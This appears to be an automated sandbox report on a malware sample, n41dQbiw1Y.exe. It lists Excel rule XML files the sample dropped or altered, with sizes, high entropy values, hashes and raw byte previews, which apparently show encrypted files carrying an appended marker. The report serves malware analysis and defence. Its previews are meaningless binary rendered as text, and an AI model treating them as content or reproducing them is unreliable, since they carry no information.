Preview:	<?xml.....z.u..X...L.....7..@^uu.OD6.M..sV..sp...\|e.XV9...V.._#..f.KV\|.r..zO.......(h.......I....D/..X../.I]HH...f..>......%".x.Z....@:...SV+^....}h...._.....x...,#.Jh$p....6QB..D.x=......^l.w.4.......x..c...ZBJ..ys..)9..@......T....&..`*==..?:.!.-.-...%..s0.....h..Nj^{......._.v..'"..c.7-...o..j5...?p...v.../r..K...xf.9nB...L..7'....Z~.{2.mh.L.......P...S.6.........A..Y\|4....CL.>$Ox2...>...-...o.m..9..c?/t..I\|u/Ej...xX..C+.0..o....s.V.9....=L.7_.pX.d..........m. ]6....c..?..4.[..&.x.;_...0n....`.-.L.dw.M-.9.u.....g.Fp..?...1.... \.;.c.IO.....j.w.1...6e.v4t.......H.w@....{UY().........B.....x..0..j4.v.......-.J.4.&...!.w..6..&Wu..p...vJ..t.1..$.......v.....SK..v..f...,......T..E.-I...}.[.X...2By.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.930960158744469
Encrypted:	false
SSDEEP:	48:l7XuGnc3Ov1i6OXssq6m94C48LL55Z2DScFa/fvBLuFu7EcUWIVA4hezKStRyqi3:l7Xu93OvY/q6A4f852D0vBLuowAJzRta
MD5:	94863378CF2FA0FA0FFA8AD7438D3B68
SHA1:	1660A6A6BF3463B9C3F43813EC2AA85993E4517C
SHA-256:	B34CE5B2F473DBC4446D83992C8737728F07A2E143F0AECB3AF992E7456CD3D1
SHA-512:	173404CE2CDB9A46CE62FECCD6E399C3F61C29F1C3026C3F9A069816AAC60C5076BE6E5CDB62E0F0EEB765C974CB30B8CD8DFA9725527D2D6FB8E2FF11B281A8
Malicious:	false
Preview:	<?xml\..:...<69.....m....y..N.....\.X.....Gq..q#.....%L..A.\|U'X[.} 1i2U.'..l.:..o.!..O.......P...}5...t..NPZr..1'.....4..J.....g.Q@..q....~s..u.D...V}j{..f[.g...-7wi.. .&.?..B..;3.....i..[?.OU#.jM./.3L.>\^.6.g.M.n-..y.0Xv..1...Y.#.Y&.[.1.........q.....[.L.......YK..0..v......m.-.4.3u.`..8D.j.CNm..l..}..}..W.....W4....Z.xkh(...'.7.b^..V..9.K.L).k=...6..H..x..v..4..B...%.H..n......8....../1_..E.wLT.L...J.,.....,c...l.. ...k........7...D..l...P.g)1....d.2D.j..dmB.0)..I.-.l.Iz.......H.!..@.z'v..K...s.....U..wr8.........Pc./.....t.-.n.....q.g{.[,..t..R....m.w.WZ#....\../..:f..4h..;.......li....\.W.6:v`.r..4}.+.?0N....o...d..w..vk...g~.R78...!..X......0.....9..73Je..}.....Et..z....'i.U..M)..<..$...."....H......x.(..Hc(.v..Ta..-/.,.;0.......r.L.s..%;...1c}D}.Z.!....T.k........9W..6......V.......Wx.)mB.(..`..NS.._!....c.B.c.R..>G...+.N.....b&}....*v.$q.[....9oa)'.J..h%...)..8.(...;.",..F.+G..T......q.5.A..,..].........v..........g.0...@..e.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.79035158942192
Encrypted:	false
SSDEEP:	24:rBAAXCYIIASupc+UjQVuO14NyNv4QWyJFQO3K3yivbD:jCYq2fQVueSQWYM7D
MD5:	8A4BAB8ACA894AE826E0F56CCA1C95F1
SHA1:	DA45B5A2D503D6DB40F2C0BA1C1ADE096EC82F7D
SHA-256:	A3196A391139B1FC55766E97F9734144B76ED454F0F4C354232C1148BA437526
SHA-512:	1A3FEAAE5E50113E78267A5D6D6F90D99EB2CF611B30C99533DFC0C616D22D7DAEA8C287C431CD99AA130D5F7F875F17F477F23422BC230A46C66450768143D0
Malicious:	false
Preview:	<?xml;.7c.........<r..![..?...@i...Nfl.Cq..Z,..R.)...a.0...u4.O&...O.=yM.M....M0Y.&..?..\U...]).N/.:I....H...{....8lv.c.P...n..+...y%.`)...yT...>....6.c....ol..v.. .(.^.....uO.:2...L.A8p......Y.U.E...m.[-..].....R.,-.F.f.....W:..R.wak.qa....\z5L...!Z..lly.....J.DG.8...t.n.Q_..M..&4..oblf...W...bXL "...4]..dP.......RJ.B=#[.S..........\5Pm3.p...i..1....a9:/..........C.+f.<.Q..s......<..d..E.DE.Y.?;<GT(b.v.D.}}G..<H...\|..X.n.UPr,..w.)@.f...J7x..}vX.h.N=.n.$.GI.....[..Vp..A...nf.}......:;\..97.ipYrr>"..`:{..D..x.......y.(..B.r.jj....&.".qD...L...."..(S...I.&h{U..n.A9..1.#..6..>.u.. Is>.qD....(.5...X.......1.....~. .....m....k.j.?N..T]...)e.%~=0.D....5p{8t7_..v....At....6{.JG+]V#.......N.O..8a..=VL.........(...%....X....!.7.Y.'.Q.a?...m%,...~.@K..7.pkd.Ff.ioRY....O...V2..bB...-.`.Hn.....F.a....-OK..G.QJ.>....\9.3>^*.a...%j$...0.r...j..X.......m.;%.......D.....41....n..E..q..~.z`{Z.)..$.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.841543299709121
Encrypted:	false
SSDEEP:	24:JHZV7vdmPq5+rB/0IZY9w6wrHuyffCYOA5hskM+HC2mee27O7b8cHLEKSrAnKibD:JfvVE9VYu6QfftSjve97mrrPSMn9D
MD5:	86976556B3286DD050655699A89FDCB9
SHA1:	106BF4BCECEA94161C9213B344DC7995194BF46F
SHA-256:	0F0EC2F0F88116F3FCF657AA1AE037A04B97DAC9D5BF071A5B7580C858B88CFA
SHA-512:	3FD7FA94E9C8A227609A172E364BF102600D6C66E61078E7FE811A8F237D735F9F0C017187FB336867013BA885EDE641C0673794E493620DF28FB47260E5B726
Malicious:	false
Preview:	<?xmlsD".;.u2..c...9..w..!x@..b.}..e.Q..G.._jQ...F......w=.X.2fN..ddPb_...dW.I.]^.....]QE# ...@E.o........<J.....UQCk.$ L6>..OD.w...."..?a}.O.;Io........~.M...=...]........5%x.> :.Dw....W`.....Z:.i...b.}..R......bL...m..W..M...N..i.t..q.......f.P.#... ...).....U.T...IbN.....D/...+9..G.e..6........&fp.P.g6.b7.oE....#...1.abF........[.\.q...bai.2..`.t..8..k.....q....C..I.H.V.z.^......y...".?..fts.=Na...R.O..`.>...R.Gw\|..S.......i;..T..DIG.!..i......:..2".Z.79AsK(....H]...Xds....sFx.w..\|..G..;......I.~.N,&.%.c..>%h..7..?=D.....t`._..i..G.N..O..7=pwN..-).""5>..70._./a.V.r[=.b.....]...x+3P....M+c2....q...E.s....U.../3.V.!..8....3.-.{....<.g.p..............\..>..Up....\|t~c.o(.M..n.F.....\}....e.....-I.L..MUO...=[.\|..\|LdB^...H....=.VA..Ja..Q.6.+..Y....G.3......wm..\|.mM.FPd....F}-_. .....Z..D..Y.o.......?Z+.V7..Fd=ih.}e......3..M..4.......-J..N.b..hlj.....1".2.9.%.a.Ex.>..c+....5.. ."8]..]+..B...\|..hT@...9..[.{...~1.e..J..#.....=g....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.7691716968472955
Encrypted:	false
SSDEEP:	24:XI6obF58UXdEtxqh2CnZYgPe5Y10VHFXWAZ8ddbD:XNYF5+xrCXYJ0AyfD
MD5:	D6288A45EFE6E6A4A82E094E801035AA
SHA1:	488531ACCADEBE96227BB1A7499DE06E8E9F4854
SHA-256:	8721E23AB5523595CF4E2EAED4149FC465FB5492FEB47577E78A64815DC2083B
SHA-512:	0834B1A579859A4BC3D1E1CDA6DEDB4C0A1BFD54F997B43D3F6923731312D5302A9CC20595F2D0448DD362746D73A36252ADB9C481FCAF6F026E50B26E260327
Malicious:	false
Preview:	<?xml^< ....T.d...q.f.......P[......<.)..b'.G].-....A.@-lG....B.ge...z..L^.......?.u.6...5Z&...Q=.....9........roj....FN?.'sj"r..$..M0.....e...u.X<.....Pm.o>.2...M..N.-.}..L.k.y.L..g..?.._..d%4..dP..W..........KcH...i..a.E.(..w..djM..J.(E0..].%&UqU.......%.aO...R.bDp..<R.2+.\|.=9Y....@.M...S.#..a}=.M.......m.N\|......f)7I.Y.....\E........\|...+1.E.$..z.b..dM.zc.q.f7.$.Z..N/........k0.6.......n.#..mWll0...!.1..Tq.Sd.A....k....KoB...]=..L.....Ay....g.._..._.q......T..]...o......Rk...@.....t.:."..T.../n......Q.....g......ocC.Hy.r.2@.$..\.`..m.C0o.j..I4Z.-#.`..!.+h..+0.c.-.p.k..c~..... ._0..).VO..{.b;..=.I.G3..NE4..<...9.:16:..8.^.6w5...2FZxx;t.R.Q.y\|..t..9....N3..x/.tu.y..6..b.}0...1...-p...Jl6...........\|...*..E..w\.....)..\|f.NZ..."K.._..K..j......H-%D$g...B.Q..+.w6Z^z..g...;,...X.4...I..fx(...1<..g:R..o.Ogr.G1..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.754153845559299
Encrypted:	false
SSDEEP:	24:S+vEHi0T/P0Whnpp6t/Eq4ho8lsFexMqSbD:S+8HZTH0cpp6NEfxED
MD5:	1659813BA3068CD4D95F8BDBF19FC0A6
SHA1:	35071C4E4501067BE5042E06AD6F74747380C92D
SHA-256:	BB7943CF0A8A0BFBC58DA2C4B1463DE1349252D950670AE6E96CBDDB6686BDAA
SHA-512:	C5F0FCD51C55A5219D8408ABAB17E2560973311AC79F3857D8217265CAF33857919D61C1808C626AC1CE4B718BE55C0C13638B840CABAC70C18DB03ED9B59180
Malicious:	false
Preview:	<?xml.....~A#Y.d..5..h.%eq?.M.3...g............B.Z.f.[y..u/1.n...R.[..j...Z...FLt./.$.v.....6..DJ....9..D..N.F....o>q..d......[..#.k._......\a...t....\|..j'.;..zh.c..L\...G..5...B..T.].?...xv.`........w../t.&...e.......d..j.cL.R.....6......Q......<.D.6.!] .5z..JS9......8..u.O....i.QiH..r.M$c..H..oCC.....OF..."o...`./..h.rp0...o.......(....%D.6..w.%..T\|k2....@......L.4.P...&.4D.E....'T.....S.......v!......."L...-...`.<..j%4..W.f..$....u.>.m.......68.O.S.x`O.....i..6l....S....7.S%......;.!h.No.^_....h.6...'..w.$..]..-.i....ob.y..\|.o......k.:...O...a...nF8.z....S...-.l,2..Y.\..>..h..U."...$.l.W.'...f.....t:._.m...K..1...8........SO..N.........d4.6...i.6z.g...~C.'{}!.h..../...#.1.k..xO@hK.j.n..X...R.x.bm...8.Wu...mxj.."C...dte..X$...;..D..S......{...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.786176516764498
Encrypted:	false
SSDEEP:	24:Ila1kA8TaoxuHo5StY+xlvdw0Af9st9+uXKA4TI429bD:Qy6aoxuI5StYUlvKZotd4Tz29D
MD5:	3BD0E4A91D38DC6433E2FAAC3ECACE1D
SHA1:	815AE11FB37B624B35AB096EF4E4CFFAA8838E2E
SHA-256:	223B17A2B22AA7E0A42FF300C4B73C9ABD51E8C10074B002A90E7FE865DC572A
SHA-512:	2F5C59608C29706BBE5099B3BAFA64B1745816F6EF770DB3F064A2ED616B3472DB2C0F054EFB7DF995A0FB8C0B5E4C6140E084CED4C6EB1400D38002563E4A1E
Malicious:	false
Preview:	<?xml.....%.+...w..:...w=+.).Z.Z.b....}.<9.&./o..Ci..V...&%...%..U.0.....&LW..c...p...-.AP...7n).&.....x.s..0..u..ur<...L.....`Ea^f...z..7i.....Pc...m.(...;..i........,bwa.[a...YU.._....b!.w.l.u(.#...p.".78R....7+..(yC![...ym._$..../.H.........Ww.}.Y>...Qn.E..mx.z.=Bz..MQ.\|.............)...q.;...Ub0..O....(.b........6.Bq...c'b.....a..h..b.7&.o..S.8....B.=.....P6.....f..x..V...$x...a\.PD.@(..!..`.~...P...OT..=..RJ.J.H.....^..t..y:YY,...&.....e.,'...O.s.....(P...(..eQ%?....c.<(.=5.^..........F.y.Kf/..P...m;.?.qo.....^ ....6...cDk.w^+Wz.+.{.1.......!i..Ye...(6)..9%Y7..._...]zv..]...-h.u.e($.~.>.{r!..J.%.m.J..1"....3...w.....^."..a....l.,mK.L....B..D..t...t...........#...7.....-..f...1...B..P!\|/......,.,8o#..0W..u.....\.cP...yg.p....~[.K^9..H5..-<$...7uoW$n.)..0b.eN....S...#A...I.....K.JK(....m.x.....n....b%.i#.[.G..y.$.9.E....F.Xk/....j./W.O.-bX...Pb.x...?..r.@..+...0O...<.$...&J..,...x...EGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.740707883693086
Encrypted:	false
SSDEEP:	24:8ZpWg9q9Tb5vu5OsIyWtePB2PuAQcCiXFbD:Pm56FePiTXVD
MD5:	8941EDF13C984A6FFEEC2263DC8FF427
SHA1:	11442C3769129CE39AEEB58FE0750C7E4C8753FB
SHA-256:	9BA4FEA6E78EA65F471C24BCB98829B38D855E5FD65A61C4AA6A2214E6DA0ECB
SHA-512:	A92453E159A5BC1B200FD1216ECFA8BC6B2EC963BFD01C9742A06F9333A814A3A3A2CD92D228C5F06A68F6B3CC7AF0C9C28BC1B52AFCFC4C55BD42D46AA9FF9F
Malicious:	false
Preview:	<?xml.h.......?....O.).Y..T&......E.3Xe. ..5.."#..............zT.(\|.....,.4..>..&..2$.=@p...tu.D,Hc..Qx...-.a......l0'(.&K........T...sc0i.....76...f].>....Ju3..c..;..."3E9..-0,...U.).).(..E-E'z..h.+^2(.t...~.a..1..6....:.i.~P........5z..1.Q/l..B.4.F.l3.>..1.].j.=..i}.h,........=....3.>!~..-b7.u..4...?I...#...3.]q...Lr.G". !.....:.A2..V...hB..6=4...../..m...b:.b6..N.....{..9Tn.........qT......v.j.vH.6.a.....m...V..hU....m,uh.......K.eLk\..:..G.m#.....G.ky.9..0.!.I.W.:..J...=...,.._&.......h0.._..\|...'..T...O._.Z...&........\.@.......q.~...!.4..M....K...Ye3J../.C.+.#.Lg..~Cn.F...,..7..SI......s.!.o...D.,9S.@.E1..y&=J2..i..:%V.:. &....eq.`.=.......P...]...n..[w...A$.~..D..L..kiF.W.@....X.s..\.c?..\.a..!z.%...{...4..\...n.j......F..d....k.Z\...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.981570481767306
Encrypted:	false
SSDEEP:	192:zbuFBkvQ78756O+ZuEdHgywuuJ2T/KS+MEnuowzXA+lCth2kqv1q:zuBYTEM++MZowVlCtsH1q
MD5:	F551D3D02EE68FDA1CB4D2B66613FA7C
SHA1:	DB2F5AD51786EC9B1C793BD27625A87D566C7998
SHA-256:	4467E1E6BC851EA499D4DE706198D9F59224160C178C972F20F87AD3FD3D4C79
SHA-512:	508112255178349A4E6AC1B444863565D680BFF5AD6B68FE2F735BCB401778767831A870D62F9BEA8D56EAC1993E582921459DF30334F0E84FE0108CE605A962
Malicious:	false
Preview:	<?xml,..x)...K..f.t....~..v..TV....q7.X..O..n....d.N..D......[..7...v5..V._@..........z....$...`L.p...I^.y.u.........o..b..n..f.P.w.4....).}7.#>G..@L(8>....Z...C....WS.{....a.2n...P....."....L>.iE.9_....S..C....z..V.P..wn...s.q;......Z..n;....K.."h6..fb.5.o.CO......=.n.i.{.)b..P.?.{.1...H.W..&7?....I..W......t=....-..~.UJ..1.5..t.?..':\....,Wz&.`..i/.O'...+zGJ\x.............h-..+...........h.M...@0".#.b...9i....D...Z.....3..n.AW..O...}.,R;8....-..9b....y.k....b.E.!.K.j.LsTD..... .....\|..a..;.q6...........!....v1.....?/..9Y..j.5kF....4......q...*.X.b..KF.. _if...n-Lcf..@...2.%.G.%..=.}.....z.5.w.y.v..h.9:...e..`d.I...J...).9...YG'.wPN.LP....C...E..:\.V2..jJl......jk.g..E...I.)4.2....v..`I.2...!g).'.\|;...'...\.....H.v$D..^.....9..........c..=..O.\_.d...A.,R?8....s. ..$6`...).....B...9~...~...P.c....0{n..z.....%".r....3J.lxY.:..............8...!L.........dd.d<N..w.aB..]...@..........AR.....6..."....}...WpP@m....1T...(..E...,.o....b..f...i.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.826246391073672
Encrypted:	false
SSDEEP:	24:TR27F0w+Zee7Y/C11okuLHAQCqn3ibAk3o1uEgbRXQDRwhkjmvy/k9bD:ddZemiwokbs3ibQ1uLRgDqujmKgD
MD5:	568CA7552BD732D6A6BA08D7A5AB7FBF
SHA1:	D4B2C3BF8FEB8E83574537CD701637C98DD97083
SHA-256:	3CAD130CF3420D7FA3F04A08B6F35E685A37548EB8E3C2D46A2540E358414132
SHA-512:	AB9ABD0CD50D5F702593EC807D74168751190A6685DE291D6CC8086F92C45FA84DF299DD059E2E95B280C9DFDC5EC92E20934757039713117658499FC35E9AB2
Malicious:	false
Preview:	<?xml.........."D..T.......+...L,..#....N.&....a..i.g..}..e.P..K..CSv.."..........B._......z..._..-=..T.pv.a......r[.....`.0A;.5.S...?..2..}.z.V...t._.O/.s\|....e.PK......8DO...q.`.......&}.[lt.o..2m.z.jThpWx.!.R...SNs.2...qz..^...u....%..[.x....DM...W........."..Gz...Q..w6... MWh{+..Qv6..U.k......2v...Tj.......Ko...&...b:_...-.c%._B.N.j....u.y>.L...(....[].*.e.8{D....D..V@.....Z..q[..})...hH...8.g%..)aD...{..ZtT....O.V..P...1....!],......$.MC.n.Y:7...$..<.R...... .q..W/.O27H$.sb.i.\x..Y..tY..,..R%{..'....N'.;=w....{%@........c......l_36@..W..S[..h.C..W..F...k.8^....A.Js..:.$....@.q.r.EqI...6.a.jY{.o.L.._P....\=t._{{.m)..P.........7....f..8..Z..%....!0N...P.\|....4..c.....l.-#v...l.pZG../.OY....0..~rq\|.E_......$........`........o...v...Q.l.(......a.Oy.......G..s..}..c5...4n.>.PK"..b.X.I..........a...<_.rc...N......>..58..{4..+...8..1..qT.L...w...#.+m.;..v.o..{.....\4...4.J j.8..6X...w.."+.I`.~...P..135.!.....[..Q".....m..M.=....M....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.827235416322312
Encrypted:	false
SSDEEP:	24:HzjxYjKm4tjcpL7VzJwAWe4N96JCDAbUEww8CxKbCd7LibD:Tjx5vt6LdCvN9BD+UQ8C+Cd/wD
MD5:	38292176E0F4BA2F60E089F91E700B31
SHA1:	27CEB4D7AB5F98C70C77AEA32A5EAE373879B081
SHA-256:	8FE31B9FCA41DF4D3847A9B6AAE7288C49D8311D27B62B5C825C8FECA0C72666
SHA-512:	F874D4DFBDEDC605073EFA7A982066BBA69711AB233D2D9AD1C42B99150E12AD59F4DD57E0AD38B562BDF331C0C576D81794085DB00516FBD1E41CDE0F9A507D
Malicious:	false
Preview:	<?xml....)......;..X0.Nta.pl.~..?..H.6.b...:_.U....7...$k..)...JE1s..&.7..l......":....PQ..B....A...S.......6T)...O...(sY...r.j........C&Hb5~B,."~h:..x..$.a#7..l}....u<h7.:...K...#X....#.=.....T...U/......~..-..^r.>..+C.gar..3.R...U1.......M.&.<.. .......{.DJg.a...X.. L....-.$.7l.^..h.9.S0y)...d.k..CF..C...k.=./Z...#_....G...2"._..?..2......W..q....q...4.Ch~O.g/.SH6.O._m@r6...'S9..&s..p.t..b..N=..N....GG...&........A.4.r+1{...t+.V..\|.P;.[.(Rs....w.z.`'E.Z....h.;.<."B}.&dP4k....,.............#.....S.....F.P.-.l....!vmB......G..)v1_1.o\..q....#.l.T.<.U.bw...w. ..8.j9.l"Z.#..g..{{.x.......".....*... ..p..6..&.^o...Z.i...(.e{l...@.8.K.bW..d.s..y:..E...v.NX.06....>....{..@.-..{.Z..\|../.X.[~L...N.$t.r..la...AS9.D..C6...P.gL!Q.fd......}#..4....=.p..\......:....9...v....Fo..D.!.E.G.a.R......`.P.-Zb6z.}.X4Gt.-\W ....P6..M.V{Fh&..J.....Pi.......@.+.f..hX.P....'y@7..H.].Q.q.n.e....~....M....F...O..;.~.j....j.....+.MwM.E@.l"..=(QNiY...Lt7.Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.8110700684475285
Encrypted:	false
SSDEEP:	24:9qVTcCA8sA0DkUSbrnZBzYDxneJPEeBBqg+NdNZPGbD:9qVTp0Y5b/z2xeFEKB8qD
MD5:	EB89D8EA7652AAB81460BA828FE4AE1B
SHA1:	BA7C36A0B1E07318F8F35AD2CC8CA7E40CF8C0F4
SHA-256:	F716365A3EEF834E7AE5786649B7EAE19F68ABE9EB9425327E2DAF275788A2DD
SHA-512:	26A6AB1D46F4153B957C5A40C87154D37F6FD750CEE2082C76F5B20CA8505501C9D527D05D40267D07381AE045136073FCC72665C2E9CCF8409D7ABB9C01C0AD
Malicious:	false
Preview:	<?xml....^R.VG~.{.P ..`P._d.%...Q<{5bb.<....7.C..........](...f.X..0...I.wSF.i....=.....G...l.....v.:...........$`....A.?a......\|D..X.......J..C..tk..D+.y8(.~....._...$..a...6...F..y......>.K.."....!}$.....nf.].8...v...U.....3\.....Y$fS...y.9..u?..M.......X...9B.....Ta.8C..@d.a.......@O.+..H..B9......>.....X...N.....9.Dh.....<..v.....k...=.2Y.f\|.H.1..Dk.I.XnH<..Y..a...u.s..._....ri.^w..[..L.....A.H...=d..f....G?..N...#..6..+C...0N.g.....d....E...X.J.u.r.#....z.qz.+.@.?.\|.A.)v.ZK.u.O..-h.pB.yy."..%UN...GB.....n.1.w...,..?x...fYE>.lA.q...w.m..U.;..\..>`..........`.g...........Q....0..1y.d....eGF.H..........:%....B...... ..A.vF'......[V.X...]....&.....y..$.($vg..'...<8a.T..c..As._.....1...(`.........$..r./6.f.@F.+....ak..........8...5ZW..P3uc.R7.mZe.P8>...o..l.!B..f:<e....8...?q..L..9........A.V,..Q.\|_.fo..:Y..UE...VSg...@.49..'i./i!]*;...%XA..Pk....B.....7...DYr.V..=.R..L.i....._....QH....m.=.0W......8{l....h4..?.`...xh.L~..GQ9Dj

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.933133645083648
Encrypted:	false
SSDEEP:	96:Uq/3+I4ejPL4NgDKEuH6i8v/IxhqX0mGgzcuuC:hLjPLxuH6nHGgIuf
MD5:	A0A1E52258DFAB351C9151C632274D1A
SHA1:	72BB20A7EF377860C8A49A5AE411268A56F2FEFC
SHA-256:	2E7403B609658857F40A09CDEA099CB4126411A8437BAB092C4F1AA7832FDE1B
SHA-512:	78BF117C1C220AE6B6C2D7E815499FDEDFA86DB5897C154732A04303A7495E231453B31CF31A227085AF69A4602BFD96EEF55522697FB2E0905A0BE86ABC7FAF
Malicious:	false
Preview:	<?xml...1.H.o=...E....3c\|"..Y...~..".....<.e....._I}...#.6..eh..t..>...@...........L.......=.....PQ.Y...^....i9..-..........xs.2M.2.^..SU..pH.}..V.2.."h...........E.h.Q.^&.e.....:"N.......xw.L.......+.{]...j...r.1.5.H..?...U\|..)A.....u..\.......~._...k....p.ui...M...n......H....a.....x.~>......f......\.../g.o[..L3...$....#....`._V^k.n.....h...%.vN.0....y..IB..b.\|.a9..Ba.}._....u..~....H.w.5..... ....C..K2.(.b5.W........e..i...Eu.2.......}..iS.....d.!y.s...6.Yw@..<........E.@Db..K.%.f&.H.....m^.........=....B.....[..U...a-.{...zh..}.4>G3.h....~.m9.dg.TDG..l..e../E....Q........._`....Jl...._.../.6`R>...t...mk.}.S......%.......f.#h..hR+..@].6]$..f&[......V...<..E.ph^.W....u..r.3Ud.../>.U..g...........t.%xO...x.....M.]......L...:...57........a......y...i....=.>+.......w....K.....'e...<l.>%..}C0.+....v$..;t....1.c...tz....R5.H..)...Rj...).5v...S..Q...}.....X......;...~....mb..7v..........s.......U.9L..o*w..E.Y5..{....U\|....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.78635892642272
Encrypted:	false
SSDEEP:	24:vnmoxGJ1kwFvcvWJ5Cbg4jisjbjRsRsM/qzrS2P4kyVOgQs4nY32Ny8mnbD:PjwvcvW7Cbg4GIaRt4P4kNs4nBy8mbD
MD5:	B3B33AD9D013D6A1CD2191ADE28DCD9A
SHA1:	DEF67FD612441B3022DA27DC98AEE8CBB37532AC
SHA-256:	90D2B43D564417ECFBF596D8D06A031E756305F94C9036F3A47B9ECEC93C6BC5
SHA-512:	B5E687536C1E3F3318ABB3E3A380F32B5C97E8C68ACE386B5A3ED385EF396B0B38C637D99DE8622FAE271F20E55DFB43C7C94D3014B386E8B3B30873844775A4
Malicious:	false
Preview:	<?xmlj.B..x.....t..%l.[l.O.2..~..fd?....YP..u0LI.#.^54.........95%cYo.J..uc..\|...7Q...1.p.......X...{..llx^.~...D{.h.8..~.8d........-.V.s>..s.\|.#7.fL(zJ..V..L..6%.1y.uA.&..Qf.....u\8.m.>.U....]....Z3........}..Y...i4......sX...`.......u..@...@..~LP..6e.Q.A'o[74X...o.$..:1..uu.hA.{.K.......kz.>..AY%..{.g.S.`GS.Y..3>.l..G&..I2I.C$>o\|...%..g......W.z..lc.\|`.> .}{s"}..7Uhy..vH.9...\..nE.......ue.........1.\..}T.....n?f*.....2..q1./kY).0a.....Q<.}p.~.....}f\|.O...:.$K..V..D#._m%...'n.zl.X.[.D:..1h.[.........kJ.y+l.riQ.......FcJ.....w.?.?.\|..H.."....w..f.J.......9..........@.#..#....p`..?..B...`23j....)h..3.....b...u.wb.....=.e.g.\.._...sB..^..s...`C._....o.......Nz$....Wq.....f.#.p.b..../..C.k..)..}...BH..W+a.?3.w....u.3.]o+..xqsY$.X.....[.).#.."..y...D....U...H...c.w..j...G...l.-o.\...J.\...V..Li_D.q.jdj.\_.O.7[.O.1..C.64.'.(x.h....."......S.m.c..U?.^..qZ..l..VFM.....o..;.>.`o.\\|....Rh...q.S..1S$l..[z..sd....uJ3i_o.FR...RJ.......~...).Z7.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.977374817338466
Encrypted:	false
SSDEEP:	192:b32bpoMIU4BS4MfRF9hr9yLhlrl69cimxA7zLE0NC:bGbpoJNBS4MfRF9hr+9l6+LxA7E0C
MD5:	96EE59540D2E7761AF33AE406D6AE837
SHA1:	6EDA1DFA7231A80D416C9DA99E279E8901E28D8C
SHA-256:	47B2B37B1E29921CAECBC69C84520E05646E98CE66CE4E526EE51BD779921EB1
SHA-512:	6B41D773CB5F0762C4C6392411615F06B1E846BA031C4268BA5442383CCEC069BC68A65F28560A5023717F6ACD1EBAB9FB459F520146055E6B0088C5ECC787D6
Malicious:	false
